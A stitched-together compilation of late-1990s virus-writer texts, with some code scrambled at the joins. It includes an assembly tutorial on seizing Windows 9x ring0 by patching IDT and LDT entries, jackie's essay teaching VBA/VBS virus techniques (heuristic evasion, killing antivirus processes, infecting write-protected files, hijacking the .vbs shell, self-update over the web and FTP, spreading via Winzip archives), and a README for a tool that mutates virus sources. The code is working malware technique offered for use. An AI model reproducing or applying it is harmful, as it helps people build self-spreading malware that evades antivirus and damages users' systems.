;Here we have an example using LDT... call Search_LDT mov esi,dword ptr [_LDTR+2] push offset Ring0Code_retf pop word ptr [esi+eax+0] mov word ptr [esi+eax+2],0028h mov word ptr [esi+eax+4],0EC00h pop word ptr [esi+eax+6] or al,4 mov [FreeLDT1],ax and dword ptr [CallGate],0 mov word ptr [CallGate+4],ax call fword ptr [CallGate] ; ring0!

;Getting Ring0 : IntGates ;~~~~~~~~~~~~~~~~~~~~~~~~ ;This method consists on getting ring0 priviledge by means of a software ;interrupt. We need to modify an IDT entry so that its handler points to ;our ring0 code. The selected IDT entry should have DPL=3 so that we can ;execute the interrupt from ring3. We may choose interrupts what have ;already DSL=3, such as 01h,03h,04h,05h,30h. If we choose those ;interrupts, we just need to save the handler offset and sustitute with ;our own ring0 handler. When our ring0 interrupt code gets control, the ;processor has already pushed (in the ring0 stack) the flags, the ring3 ;code selector and the ring3 return offset. So, in order to return back ;to ring3, we have to use an IRET instruction.

;Lets see an example, using interrupt 05h: mov esi,dword ptr [IDTR+2] push dword ptr [esi+(8*5)+0] push dword ptr [esi+(8*5)+4] push offset Ring0Code_iret pop word ptr [esi+(8*5)+0] pop word ptr [esi+(8*5)+6] int 05h ; ring0! ; restore IDT entry ; save IDT entry

pop dword ptr [esi+(8*5)+4] pop dword ptr [esi+(8*5)+0]

;We can do the same with interrupt 03h, using the int3 one-byte opcode ;or the two-byte interrupt instruction:

push dword ptr [esi+(8*3)+0] push dword ptr [esi+(8*3)+4] push offset Ring0Code_iret pop word ptr [esi+(8*3)+0] pop word ptr [esi+(8*3)+6]

; save IDT entry

;lets try with 2-byte version... db 0CDh,03h ; ring0!

;now lets try with 1-byte (for optimization fans) db 0CCh ; ring0! (mmmh... "sounds" great! X-DDD)

pop dword ptr [esi+(8*3)+4] pop dword ptr [esi+(8*3)+0]

; restore IDT entry

;If you want more anti-debugging ways, try to use interrupt 01h. You can ;use the interrupt instruction (2 bytes) or you can use the undocumented ;opcode 0F1h which has the same effect (it may not work on some weird ;processors?) push dword ptr [esi+(8*1)+0] push dword ptr [esi+(8*1)+4] push offset Ring0Code_iret pop word ptr [esi+(8*1)+0] pop word ptr [esi+(8*1)+6] ;has your softice survived? X-D ; save IDT entry

;lets try with 2-byte version... db 0CDh,01h ; ring0!

;now lets try with 1-byte (for optimization fans) db 0F1h ; ring0! ; restore IDT entry

pop dword ptr [esi+(8*1)+4] pop dword ptr [esi+(8*1)+0]

;Now, we are gonna use another interrupt, no matter which one (but inside ;the IDT limits!), so we'll not only need to write the address of our ring0 ;handler, but also the characteristics of the IDT descriptor, as well as ;the ring0 code selector. Lets try with interrupt 20h (used from ring0 to ;call VxD services, so if you use them, don't forget to restore IDT entry!) push dword ptr [esi+(8*20h)+0] push dword ptr [esi+(8*20h)+4] ; save IDT entry

push offset Ring0Code_iret pop word ptr [esi+(8*20h)+0] mov word ptr [esi+(8*20h)+2],0028h mov word ptr [esi+(8*20h)+4],0EE00h pop word ptr [esi+(8*20h)+6] int 20h ; ring0! ; restore IDT entry

pop dword ptr [esi+(8*20h)+4] pop dword ptr [esi+(8*20h)+0]

;In case you choose an exception handler as your interrupt, be careful ;not to generate an exception inside your code, or else it may be ;recursive! For example, don't access a non-present page if you choose ;interrupt 0Eh (generated when a page fault occurs)

;Lets have more fun with interrupts... Now we'll use last IDT entry: movzx ebx,word ptr [IDTR] sub ebx,7 push dword ptr [esi+ebx+0] push dword ptr [esi+ebx+4] ; save IDT entry

push offset Ring0Code_iret pop word ptr [esi+ebx+0] mov word ptr [esi+ebx+2],0028h mov word ptr [esi+ebx+4],0EE00h pop word ptr [esi+ebx+6] mov eax,ebx shl eax,5 add eax,90C300CDh push eax call esp pop eax

; execute in stack: "int N"

--> ring0!

pop dword ptr [esi+ebx+4] pop dword ptr [esi+ebx+0]

; restore IDT entry

;Getting Ring0 : TrapGates ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;This is the same as IntGates, but the interrupt is generated by hardware, ;not by using INT instruction. Only interrupts 01h,03h and 04h can generate ;Trap exceptions. Interrupt 01h can also work as a Fault interrupt in rare ;situations, but we'll only describe it here as a Trap exception.

;We already played with interrupts 01h and 03h in previous examples issuing ;a software interrupt, but now the processor is gonna do it for us. We'll ;generate a 01h trap exception activating TF flag, to force a single-step ;execution. As a result, the interrupt 01h will take control. Don't forget ;to disable TF inside int1, so that it don't get execute again and again ;(imagine what could happen if single-step is activated while restoring ;int1 original handler!) push dword ptr [esi+(8*1)+0] push dword ptr [esi+(8*1)+4] push offset Ring0Code_int1 pop word ptr [esi+(8*1)+0] pop word ptr [esi+(8*1)+6] pushfd pop eax or ah,1 push eax ; save IDT entry

popfd ; TF=1 nop ; ring0! ; restore IDT entry

pop dword ptr [esi+(8*1)+4] pop dword ptr [esi+(8*1)+0]

;Now, lets try interrupt 04h (Overflow Exception): push dword ptr [esi+(8*4)+0] push dword ptr [esi+(8*4)+4] push offset Ring0Code_iret pop word ptr [esi+(8*4)+0] pop word ptr [esi+(8*4)+6] pushfd pop eax or ah,80h push eax popfd ; OF=1 into ; ring0! ; restore IDT entry ; save IDT entry

pop dword ptr [esi+(8*4)+4] pop dword ptr [esi+(8*4)+0]

;Getting Ring0 : FaultGates ;~~~~~~~~~~~~~~~~~~~~~~~~~~ ;This is the same as IntGates, but the interrupt is generated by hardware, ;not by using INT instruction. In this case we don't have to worry about ;DPL=3, we will leave it as it is (DPL=0). We only have to modify the ;address of the ring0 handler. The selector is already set to ring0 code ;selector (28h), and the bits are already set to indicate an exception ;interrupt. We also have to take care about the Error code that is pushed ;into the stack in some cases. Also pay attention to the CS:EIP pushed ;into stack when our ring0 code gets control, because it is pointing to ;the instruction which generated the exception; to avoid end-less loop, ;you have to modify the return address in the stack to point to the next ;instruction (or any other place you would like toget back to ring3).

;lets generate a Divide Error Exception (interrupt 0): push dword ptr [esi+(8*0)+0] push dword ptr [esi+(8*0)+4] push offset Ring0Code_div pop word ptr [esi+(8*0)+0] pop word ptr [esi+(8*0)+6] ;we can use DIV or IDIV instructions xor eax,eax div eax ; ring0! ;we can use AAM instruction to implicitly divide by zero aam 00h ; ring0! ; save IDT entry

;we can divide so that result doesn't fit in destination operand mov edx,1 mov eax,0 div edx ; ring0! pop dword ptr [esi+(8*0)+4] pop dword ptr [esi+(8*0)+0] ; restore IDT entry

;lets generate a Bound Exception (interrupt 5): ;(It's not the same as we did before, executing an INT instruction) push dword ptr [esi+(8*5)+0] push dword ptr [esi+(8*5)+4] push offset Ring0Code_bound pop word ptr [esi+(8*5)+0] pop word ptr [esi+(8*5)+6] push 2 push 1 xor eax,eax ; 0 is not between 1 and 2 bound eax,[esp] pop eax pop eax pop dword ptr [esi+(8*5)+4] pop dword ptr [esi+(8*5)+0] ; restore IDT entry ; ring0! ; save IDT entry

:-)

;lets generate an Invalid Opcode Exception (interrupt 6): push dword ptr [esi+(8*6)+0] push dword ptr [esi+(8*6)+4] push offset Ring0Code_arpl pop word ptr [esi+(8*6)+0] pop word ptr [esi+(8*6)+6] ;TASM doesn't want to compile ARPL instruction db 63h,0C0h ; ARPL AX,AX ---> ring0! ; save IDT entry

;Pay attention to the previous instruction. We have choosen registers. ;If we had choosen memory access, we could have generated a fault ;exception, and our interrupt 6 handler wouln't have activated!!! ;lets try another invalid opcode db 0FFh,0FFh pop dword ptr [esi+(8*6)+4] pop dword ptr [esi+(8*6)+0] ; restore IDT entry

;As you can see, there are plenty of ways to generate an exception, ;and take control in ring0 priviledge. You can even patch the original ;handler with a jump without modifying IDT entry. Discover your own way.

;Be original! don't copy from this tutorial!

:-)

;I think, I'll stop here... I have no time... I will just present you ;some of the titles for part two... perhaps it gives you some ideas...

;Getting Ring0 : IRQs ;~~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II" ;(see example in Repus.128)

;Getting Ring0 : Ports ;~~~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : VMM ;~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II" ;(see FuckHarry, among others)

;Getting Ring0 : CallBacks ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : Thunks ;~~~~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II"

;Getting Ring0 : DeviceIOControl ;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ;will be available in Win9x "Ring0 Quest Part II"

@@Finish: ;I hope you have enjoyed this article! push push push push call 0 offset Msg0 offset Msg2 0 MessageBoxA

jmp @@Exit

@@WinNT: ;WinNT platform will be conquered soon!!! push push push push 0 offset Msg0 offset Msg3 0

call MessageBoxA @@Exit: popad ; recover registers

push 0 call ExitProcess Start endp ;------------------------------------------------------------------Get_VxdCall proc near pushad push offset aKERNEL32 call GetModuleHandleA

; EAX = Kernel32 image base :-) EBX EBX EBX EAX = = = = RVA of PEheader RVA of ExportTable RVA of AddressTable Address of VxdCall API

;mmmh... too much optimized? mov mov mov add ebx,[eax+3Ch] ebx,[eax+ebx+78h] ebx,[eax+ebx+1Ch] eax,[eax+ebx] ; ; ; ;

mov [esp+1Ch],eax popad ret Get_VxdCall endp

; return EAX

;------------------------------------------------------------------Search_GDT proc near pushad mov esi,dword ptr [GDTR+2] mov eax,8 @@1: cmp dword ptr [esi+eax+0],0 jnz @@2 cmp dword ptr [esi+eax+4],0 jz @@3 @@2: add eax,8 cmp ax,word ptr [GDTR] jb @@1 ;if we haven't found any free GDT entry, lets use the last two entries movzx eax,word ptr [GDTR] ; skipping null selector

sub eax,7 @@3: mov [esp+1Ch],eax popad ret Search_GDT endp ;------------------------------------------------------------------Search_LDT proc near pushad mov esi,dword ptr [_LDTR+2] mov eax,8 @@1: cmp dword ptr [esi+eax+0],0 jnz @@2 cmp dword ptr [esi+eax+4],0 jz @@3 @@2: add eax,8 cmp ax,word ptr [_LDTR] jb @@1 ;if we haven't found any free GDT entry, lets use the last two entries mov ax,word ptr [_LDTR] sub eax,7 @@3: mov [esp+1Ch],eax popad ret Search_LDT endp ;------------------------------------------------------------------Ring0Code_ret proc near pushad call Beep popad ret Ring0Code_ret endp ; return EAX ; skipping null selector ; return EAX

;------------------------------------------------------------------Ring0Code_retf proc far pushad call Beep popad retf Ring0Code_retf endp ;------------------------------------------------------------------Ring0Code_iret proc far pushad call Beep popad iretd Ring0Code_iret endp ;------------------------------------------------------------------Ring0Code_int1 proc far pushad call Beep popad and byte ptr [esp+9],0FEh iretd Ring0Code_int1 endp ;------------------------------------------------------------------Ring0Code_div proc far pushad call Beep popad add dword ptr [esp],2 iretd Ring0Code_div endp ;------------------------------------------------------------------Ring0Code_bound proc far pushad call Beep popad add dword ptr [esp],3 ; skip BOUND instruction!!! ; skip DIV instruction!!! ; TF=0

iretd Ring0Code_bound endp ;------------------------------------------------------------------Ring0Code_arpl proc far pushad call Beep popad add dword ptr [esp],2 iretd Ring0Code_arpl endp ;------------------------------------------------------------------Beep proc near pushad mov al,0B6h out 43h,al mov al,[Freq] out 42h,al out 42h,al xor byte ptr [Freq],0Ch ; Choose another frequency for next beep ; It sounds like an ambulance X-DDD ; skip ARPL instruction!!!

in al,61h or al,3 out 61h,al mov ecx,1000000h loop $ and al,0FCh out 61h,al popad ret Beep endp ;=================================================================== ;=================================================================== ends end Start

; yeah! its the end!

:-)SUB

Four elephants on a tortoise! (An essay about advanced VBx) .by jackie

? ? ____ / \ ? ? / \ _ \ ? ( .o o. ) ___ __/ ^ \/ \ / \___o____ \ ?

?

.Introduction Hi there kids, this is your phunky ol' retired friend (!) back with another sloppy tutorial about four elephants on a tourtoise. In this essay I'm going to talk about some kewl topics concerning coding viruses in VBx. Check the short table of contents. .Antiheuristic for the mass .Language and user independent coding .Infection of write-protected files .VBScript infection - The jackie theory .Virus Update via WWW .Winzip archives and viruses As you see, more or less no one of all you macro coders out there plays around with these stuff, except a few guys (the old punks, hehehe, hi there guys!) sat down for a while and thought about technics like these. As a fact out of this, your creations get detect as Class.xx, Marker.xx, Across.xx, LoveLetter.xx, and so on, as you see, it seems like all your stuff is hacked shit for the AV community. Well, oh boy, the answer is easy, because most of you guys just use old technics, old sceme's, old shit, old hacks instead of sitting down, thinking, trying and researching. As output we can see masses of lame macros. That's why there are 36 variants of Marker, because you guys just change this and that in code, not because Spo0ky has written all of 'em that was you guys. X-D And one thing you should have in front of your eyes, what counts in VX community is the quality of coding and not the quantity. No one will care if you write 1000s of viruses which are all just hacks and strains. My friends, it's time to wake up and realize that virus coding is not a thing of destruction, it's a thing of art. Every single line of code represents it's coder. I know that there are too much lame wanna-be 'coders' around which behave like the sickest guys on earth with the 'Yo, man, I code virii man, get outta my way man!' attitude. These are the ones that try to show off in front of their computer - friends. These are the ones that replace original signatures and names in original authors code and claim to be a virus writer. Hihihi. If you are such a guy, I feel very sorry for your poor stupid mind. It's time to change young coder. Otherwise you will never get it and you will never be accepted and understood. The best example for lameness and attitude problems combined with the topic of viruses, is the virus section of the messageboard on a german ' hackers ' site. Viruses are not made to destroy data of your ex-friend, etc get that kiddies. I could talk and discust about these guys hours and hours, but this is not topic of this paper. I'm sorry dear reader, but I do not want you to get like that lamer's around the cyberspace. X-D So, after that short column about general attitude, we can start with our first topic today, let see what we will have before going to bed...

.Antiheuristic for the mass I see, ya're still here young coder. Okies, let see what we got for today. I am gonna tell you about the thing called 'Antiheuristics'. Well, some time ago, the AV community decided to use such a thing as 'Heuristic' to scan for

viruses, which really helped 'em a lot to detect viruses, and they still use it. XD. Ok, as you might have realized, it's some kinda special technic to detect viruses and the thing we can do is called 'Antiheuristic', which are technics that can avoid heuristic detection of your virus. If you are the proud owner of a copy of Norton AntiVirus 5.X or higher, you might have noticed that thing which is called ' Bloodhound '. Heh, this is NAV's heuristic engine. Pretty rad. XD. I think you have had your expiriences with it, but it's really easy to fake and I will show you how. First you must get in your head that the best medicine against heuristic is a ' strange ' coding style. I mean, try to code not in the normal way, your code might look strange, but, it's not detected. XD. For general information about easy anti - heuristic coding please refer to my other tutorial called 'A phreaky macro primer'. You should find some basics in chapter 15. Okies, well, an easy technic to fake bloodhound, is to use objects in a phreaky way. Just look at that. Set objPhreaky = Word.Application.Application.Application.ActiveDocument I used the object ' Application ' three times, result is that the heuristic won't get it as it is meant to be. varPhreaky = VBA.Chr(54) & VBA.Chr(54) & VBA.Chr(54) As you can see, I used the object 'VBA' infront, for our purpose, but it fakes the heuristic. Word.Application.Options.VirusProtection = j Again, the object ' Word ' infront and something special behind, a variable without type and value. It werks! XD j = j + 1 Set objCheesy = Word.Application.VBProject.VBComponents(j).CodeModule I replaced the '1' for the component with a variable with the value '1'. It is just a basic trick. Set objCheesy = Word.Application.VBProject _ .VBComponents(CDec(CInt(Abs(1)))).CodeModule As you can see, it looks strange, but it werks fine. You might have noticed what I mean with 'strange' - coding style. XD. To fake a heuristic you just need to sit down for a while and think, try, research as I said before. Well this were some methods to code antiheuristic code and another one is to add encryption, remove obvious commands, etc. I hope you got what anti-heuristic means and what's it's purpose on virus coding. Btw, here are three lines of code that have not so much to do with anti - heuristic but with killing AV monitors. It's take from my W97M.Co0kie virus XD. Enjoy! For y = 1 To Tasks.Count If InStr(1, LCase(Tasks(y).Name), "vir") Then Tasks(y).Close Next This little piece of code does not more than kill all tasks that could be a virus scanner. XD. In the end of the chapter about anti - heuristic I wanted to tell you that you can use this technics in all areas, not only in Word. XD. I just did the Word compatible code as an example, because most of you have never touched any other application. which has the same result

.Language and user independent coding Dear young coder, you're still with me? Kewlie. Okies, let me get you into another chapter concerning 'language and user independent coding' this time. As you coded your creations, or not, you might have noticed that if you want ed to some stuff like a worm script for mIRC, or use Winzip, or any other application. The key to our needs is to use the registry to get all needed information about the application we want to abuse. For example I will show you now how to get the 'Program files' directory. p = Application.System.PrivateProfileString("", _ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", _ "ProgramFilesDir") This example werks for Word97, but it's easy to get the path from any other Office application too. Just export the regkey with the shell command using 'regedit.exe' and read it into a string and use InStr(), Mid(), etc to get the needed string. Easy, isn't it? But I want YOU to code, so no examples for you. XD. Another example to get the windows directory, no matter if we are in Win9X or WinNT, is to use the Environ() function. Lemme show you how. w = VBA.Environ("windir") This is a little effective API use. method to get the windows directory without of

Well, nearly all programs do have entrys in the windows registry where can get informations like installation path, save directories, etc. Just to research a bit. You can see that this is a kewl method to get dir's, because every infected user could have windows in another directory than or anyone else, even the directory for the programs. So if you want to language independent use this tricks. XD.

you try etc you get

Another thing I'm going to talk about in this paper is the infection of Excel class modules. Well, I'm pretty sure that 90% of you dear readers have never touched Excel or any other application than Word to write macros. Ok, there is something that was a stone in my way of infecting Excel class stuff since the first one was born. Lemme give you a brief intro to it. The Excel class module can't be accessed via stuff like using the ordinary command like '.VBComponents(1)', because the first component varies in every .xls file. So we were forced to use the name of the class module which is in english versions of Excel named 'ThisWorkbook'. Okies, so all viruses which used this technic would only work under the version which they where hardcoded for. ie 'DieseArbeitsmappe' for german version. As I had nothing better to do, I sat down for a while and thought about a solution to fix this language problem. Well, as God wanted, I found a little trick to solve the problem. The class module of every VBA project has a special number of properties on which I could identify it as Class module. Look at the piece of code below taken from my X97M.fireal, the first class virus that is able to spread under all version of Excel, no matter what language. For Each fireal In ThisWorkbook.VBProject.VBComponents If fireal.Properties.Count = 73 Then _ ourcode = fireal.codemodule.Lines(1, 22) Next First I walk through all the components and get the one I want and save the virus code for later use in a variable. That's the routine fireal uses to get its code. And I use the same style to find new classes to infect.

For Each fireal In book.VBProject.VBComponents If fireal.Properties.Count = 73 [...] End If Next This technic is called 'Fireal-technic' and I'm sorry, I'm too stoned to re member why it has such a name!?. XD. I should take some vitamin pills. Okies I hope you got the clue and understood what I wanted to teach y'all young coders.

.Infection of write-protected files In this chapter I will tell y'all something about the infection of writeprotected files and how to infect them. You will see it's pretty easy to infect write protected files, but it has one point that we have to notice. The technic described here only works under Word97 SR-1 or higher and Word2000. Besides that there are two kinds of protection, the normal write-protection of windows and the VBA project protection. We can't yet infect documents which are protected by VBA, but protected files by windows. Okies, let's drop some code. If GetAttr(ActiveDocument.FullName) = 1 Then SetAttr ActiveDocument.FullName, 0 ActiveDocument.Reload End If [...] SetAttr ActiveDocument.FullName, 1 Use this code to infect write-protected documents and restore afterwards. I won't show you how to do it with NormalTemplate because if you're too stupid to find out for yourself you should drop this paper quick. Phuck, this chapter is short. Nargh, well I'm sorry, there's not more to say about this shit and I don't know any other technic to do it. XD.

.VBScript infection - The jackie theory Yummie, yummie. I hope everything fits tight ... XD. While the world keeps spinning around, I am gonna tell the young coders out there something about a phreaky way to infect .vbs files. Since .vbs viruses use this same old technic to search and infect files, I took some of my little time and invented some new technic to do it. It has to do something with hooking, because each .vbs file that gets executed gets infected too. Well, the theory is easy and the example code too. Let's see some code about the ' jackie theory of .vbs infection'. First of all you need the arguments. Set objArguments = WScript.Arguments You can check for arguments using this... objArguments.Count And access them via this command... objArguments(0) objArguments(1)

[...etc...] As you see, you can easy use this commands to make your .vbs virus kinda resisdent. Just get the regkey of the .vbs shell, by using this: varCurrentShell = objShell.RegRead _ ("HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command\") Now you add yourself to this shell command, for example the new shell would be ' c:\windows\wscript.exe infinity.vbs %1 ' or kinda equal. Now every .vbs file gets executed via your infected .vbs file. So it's an easy trick to get the path and infect all the files in that path, inclusive the executed .vbs file. Ohhh , last but not least you have to execute the just infected .vbs file by our virus, otherwise it wound run. Just use this. Set objShell = CreateObject("WScript.Shell") objShell.Run "wscript.exe" & chr(32) & objcommandline(0) That's all for that topic today. I wrote VBS/Infinity, which uses this tech nic. Just toy a bit around with that code pieces. All is said and done. xD

.Virus Update via WWW Back with another topic today, I am going to tell ya'll young coders about a new interesting technic in virus coding. The vision of a virus which is capable to update itself via the WWW. Well, Vecna did it first (Ya rule man) in Asm and I did it after that for all the macro people out there. xD. There are two technics which I researched, the first one is used my little example virus called W97M/One. It uses (Radio)ActiveX to update itself. Just take a close look at the code below. Set objNET = CreateObject("InternetExplorer.Application") Do While objNET.Busy VBA.DoEvents Loop objNET.Visible = 0 objNET.Navigate "http://www.your-url-here.org/your-file-here.txt" Do While objNET.ReadyState <> 4 VBA.DoEvents Loop sCode = objNET.Document.Body.innerText objNET.Quit Well, all we do is getting an ActiveX object, after that we make a loop until our beloved IE is loaded. Then we let IE load our source code file or whatever and make a loop again until IE loaded the file. We store the text which is our source code, into a variable and voila, we have some new piece of code in it, so it's your decision what you do with it now. xD. My W97M/One uses some ID and an internal version number to check for an update. This helps if there was no active connection, or the file wasn't found for any other reason. Just be creative, well, at least a bit. The second technic uses FTP.EXE to get file from the net. All you need is an ftp where you can upload your updates. xD. First open a file and print the following stuff in it. Open "c:\bla.ftp" For Output As #1 Print #1, "open ftp.server.org" Print #1, "Your-User-Name"

Print #1, Print #1, Print #1, Print #1, Print #1, Print #1, Print #1, Print #1, Close #1

"Your-Top-Secret-Password" "cd /your-dir-here/" "hash" "bin" "prompt" "lcd c:\" "mget your-file.ext" "bye"

Then launch FTP.EXE and download our stuff. xD Shell "c:\windows\ftp.exe -s:c:\bla.ftp", vbHide Now you should have your file on the users hdd and you can work with it but it's not part of that paper to tell you how. Check it out for yourself. xD As you see, it's not the big deal, and as Mister Sandman says, the most important thing is to be creative. xD. Here you are! As I said, just toy a bit with that.

.Winzip archives and viruses Fasten your seatbelt young coder, in this last chapter of 'Four elephants on a tortoise!' I'm gonna show you some of the lastest developements. I have to say that this one is my favourite. XD. I'm going to tell y'all about the kewl tool Winzip and it's viral capabilities. What would you think if your virus adds itself to every .zip archive it can find on the user's pc? Rad?! Aight! As you have to know, I have nothing better to do than writing shitty papers about elephants and tortoises, just that you can learn a bit out of them. Okies, the first step to use this kewl technic is that you have to check for the path where Winzip is installed on the local machine. As you read before you can use the registry to get the needed information. Would I be out of line if I give you an example? Naawww. XD. Okies, let's have here some code to learn. It's taken from my WM97/2000.Incubus. z = Application.System.PrivateProfileString("", _ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows" & _ "\CurrentVersion\App Paths\winzip32.exe", "") We got the path of Winzip into the variable 'z'. XD. Well, that you know, I am not going to show you how to search for .zip files. Use VBA commands or do some .vbs file as Incubus does. After you got some .zip files, you can use the following to add your virus to the file. VBA.Shell z & " -a -r " & "YourFile.ZIP" _ & Chr(32) & "Virus.EXT", vbHide I hope I needn't to say that your file must have pathinformation included. For example 'c:\pictures.zip' and 'c:\windows\hiddenvirus.doc' or something like that. If you are kinda involved into viral stuff, you might have noticed that you can write IRC-worms using the script language of mIRC,pIRCh, etc. Btw, IRC is the place where we meet. XD. Okies, enough. There were some worms and viruses that spread through IRC-channels so the developer of mIRC, etc build in some kinda protection against some filetypes. Actually all kewl filetypes like .exe, .com, .vbs, .doc, etc are ignored, so I came to the idea to let my macro zip itself to get save through the IRC-channels. XD. There are only two viruses which do it, it's first Co0kie and second Incubus, both by ehm.. my humble person. The concept is easy, the code too. Lemme drop you here an

example taken from Co0kie. z = Application.System.PrivateProfileString("", _ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows" & _ "\CurrentVersion\App Paths\winzip32.exe", "") w = Environ("windir") VBA.Shell z & " -a -r " & w & "\co0kie.zip" _ & Chr(32) & w & "\how_to_make_tasty_co0kies.zip", vbHide Basically it's the same as the code above. As you see, it creates a .zip file into the windows directory. The best on this is that mIRC doesn't have .zip files on it's damn auto-ignore phuckshit. XD. There are some other parameters for Winzip which are more or less usefull for your viruses. Maybe you can need 'em. Use '-f' to renew the archive, '-m ' to move, '-u' to update, '-r' to include subdirs, '-p' to include path, '-ex' for maximum of compression, etc, etc...

.Outroduction Finally, another strange paper you read and I wrote, reaches it's end. Last but not least, I have to mention a few kewl coders, which werk I really appreaciate and which is phuckin'rad.XD. I'm talking about guys like, Knowdeth, LysKovick, Anti State Tortoise, VicodinES, Spo0ky, Foxz and some others who walked together with me through the dark woods of new inovative macro technics. Thank you guys, you really did kewl werk! I dunno yet if there will be any new stuff coming from my side, because I feel kinda lazy these days. A lot of shit happenend and is happening and I'm kinda forced to leave things away. Only thing left to say which fits lately is 'mens sana in corpore sano', but I dunno if it fits for me. If I should burst into the flames, I just want you to know that I love you all. xD The last column of this paper is dedicated as an appeal to all the new guys that come outta ground from day to day. If you wanna learn, you're welcome, otherwise, get the phuck outta our world. So, in this sense, don't let the world bring you don't young coder and remember, whatever tomorrow brings, I could be there...XD. Sleep tight and listen to Black Sabbath!

Mens sana in corpore sano, jackie Carinthia.Austria.Europe 15:38 24.06.00

.Greets'n'Thanks Phewie, this time I'm gonna shorten my list of shout out's a bit. hope I do not forget any of the kewl souls out there... .SlageHammer .heXc .Knowdeth .LysKovick .Anti State Tortoise .Flitnic .Spo0ky Well, I

.Ya phuckin' rule bro, thanks for everything. I _ hope everything werks out again... .Thanks that y'are the only true one left. .Yo bro, thanks for your mental care on me... .My favourite coder!!! .Ya're a rad coder. Sorry but I couldn't mail _ back, but I hope we can one day do our project. .Be like the young coders: don't let the world _ bring you down, see what is happening to me! XD .Hope ya doin' fine. Give a lifesign man!

.Virtual Life .Equals9 .Foxz .Evul .Mandragore .Roadkil .b0z0 .Mr Sandman .Error .Darkman .Virus Buster .All I forgot .Linezer0 Network .Metaphase

.Thanks for sharing ideas with you. .Man, where are you around? .Hmmm...Foxz? Foxxxxxxxzzzzz? Fooooooxxxxxxxzz! .You roq the planet! .I want you for president! .My favourite op!!! .Thanks for all the kewl talks we have and of _ course your help! .It's nice to talk to ya! .My greatest fan xD .Phew, we haven't talked since ages...;( .Supa dupa special thanks for that exception! .I luv y'all, ya beautiful, catch y'all around! .Hi there tribe, CD, NtS, Hermes and all others! .Phuckin' great team.

This paper is dedicated to most beautiful and kewlest girlie around heiXe today, tomorrow, forever

.Contact If any of you feel like contacting me, you can use the following sources to contact me. No spam please. WorldWideWeb: EMail: IRC: ICQ: http://www.coderz.net/jackie/ jackie@coderz.net Undernet #virus 36135930

.Kewl Music .Black Sabbath .Best of .Soufly .Primitive .Deftones .Adrenaline

[Linezer0 Oldskewl Tribe - Always lazy, always bored, always last]

Behold PE V4.0 (C) 2000 Lord Julus / 29A Welcome to a new utility from me! This time it's a Portable Executable viewer. This viewer will allow you to get into the deepest and darkest places into the PE file headers helping you develop applications to use this information. This utility is quite easy to use; basically you must start with a PE file on the command line and then the most information on the file will be displayed on the main window. Here you can scroll up and down to see more and you can save the data from the screen into a text file. You can also access the directories table and the sections and look them up. Those sections and directories which are known (like imports, exports, relocations, resources) are displayed at the full extend, allowing you to see everything. To use the features you written in the status bar help. Good luck! Feel free to write me at lordjulus@geocities.com for bug reports and suggestions! Lord Julus / 29A must press the right keys as

Rajaats Recursive Random Assembler Code Creator (RRRACC) Version 1.03 Internal Version Id RRRACC1.03 To see usage, use with --help

A word of warning ~~~~~~~~~~~~~~~~~ This tool is not intended for use by novice users, since you will need in-depth assembler knowlegde to know what kind of operands cause which flags to trigger, or what operands you can change without creating a possibility that one of the generated source codes will not compile properly, or even worse, produce a virus that is defective! RRRACC also ain't fool proof yet, and it could benefit from a lot of improvements, so if you don't use it with care, disasters could happen. In other words,

YOU HAVE BEEN WARNED!!!!!

General ~~~~~~~ Rajaats Recursive Random Assembler Code Creator, RRRACC for short (and if you still don't like it you can pronounce it as ROCK), is a utility that processes text files, recognizes special tokens which it uses to randomize the input, and write the result to an output file. This does not have to mean assembler code, but my primary intention was to make it work mainly with assemblers. Invocation ~~~~~~~~~~ To invoke RRRACC on a file, use the following syntax: RRRACC infile.ext outfile.ext RRRACC does not perform any extension checking, so I suggest you use .rrr for source file extension, and .asm for the RRRACC generated files. The output will usually show something like this: ---------Rajaats Recursive Random Assembler Code Creator (RRRACC) Version 1.03 Internal Version Id RRRACC1.03 To see usage, use with --help Pass one - reading input file dsa2.rrr... Pass two - processing file... Pass three - write the processed file to dsa2.asm... Done. Statistics: 1 mutation 1 mutation 1 mutation 1 mutation

out out out out

of of of of

8.88520724322027e+62 possible complete mutations 589824 possible line mutations 1.50641670112106e+57 possible variable mutations 1 possible variable ranges

Please be nice and do not remove the header of the generated file, it is for educational purpose only. :-) Comments to rajaat@itookmyprozac.com

---------Please not that RRRACC doesn't has strong error checking, so you better get familiar with the inner workings of the tokens, which I will explain to you in the next section. You also might get shocked at the large numbers in the statistics. These are mathematically correct, assuming the instructions are very different in nature, a 1 out of 1 mutation means that there weren't any mutations performed of this type. ASM to RRRACC ~~~~~~~~~~~~~ The most common use of RRRACC is probably converting an existing virus source to a RRRACC parseable one, which is easiest to do in the beginning. If you grow more accustomed to the use of RRRACC you might want to write directly code that can be parsed by it. RRRACC is able to do only three things: 1. 2. 3. Random change a consecutive range of lines Pick a random string from a selection and put it in a variable Replace variable references in the asm source with the random chosen selection

This might not seem a lot, and indeed I think it is yet a start, but if properly applied, this can create tons of variants from one single RRRACC source. How to swap lines ~~~~~~~~~~~~~~~~~ This is the easiest part to understand, I bet even macro virus writers understand this (oh oh, I feel I'll get my arse kicked for saying this). All you have to do is put a ! (that's right, and exclamation mark) at the start of the lines you wish to randomize. For example ! ! ! mov xor xor int ax,4202h cx,cx dx,dx 21h

; DON'T USE CWD!

would mean that the first three lines can be changed in random order. I also hereby present you the first caveat you could get yourself entangled in. If you are an optimizing fanatic and change the xor dx,dx to a cwd ,it might have a chance of generating a sequence like this cwd mov ax,4202h xor cx,cx where you don't know what value ax had before it was converted to a doubleword. You are in luck if ax already happens to be less than 8000h. If you don't understand this, go buy a book about assembler or surf the internet to get one. Well as you see, it's not hard to use RRRACC, it's more a problem of knowing assembler right. Another example ! ! pop ds cmp ax,4b00 jz infect

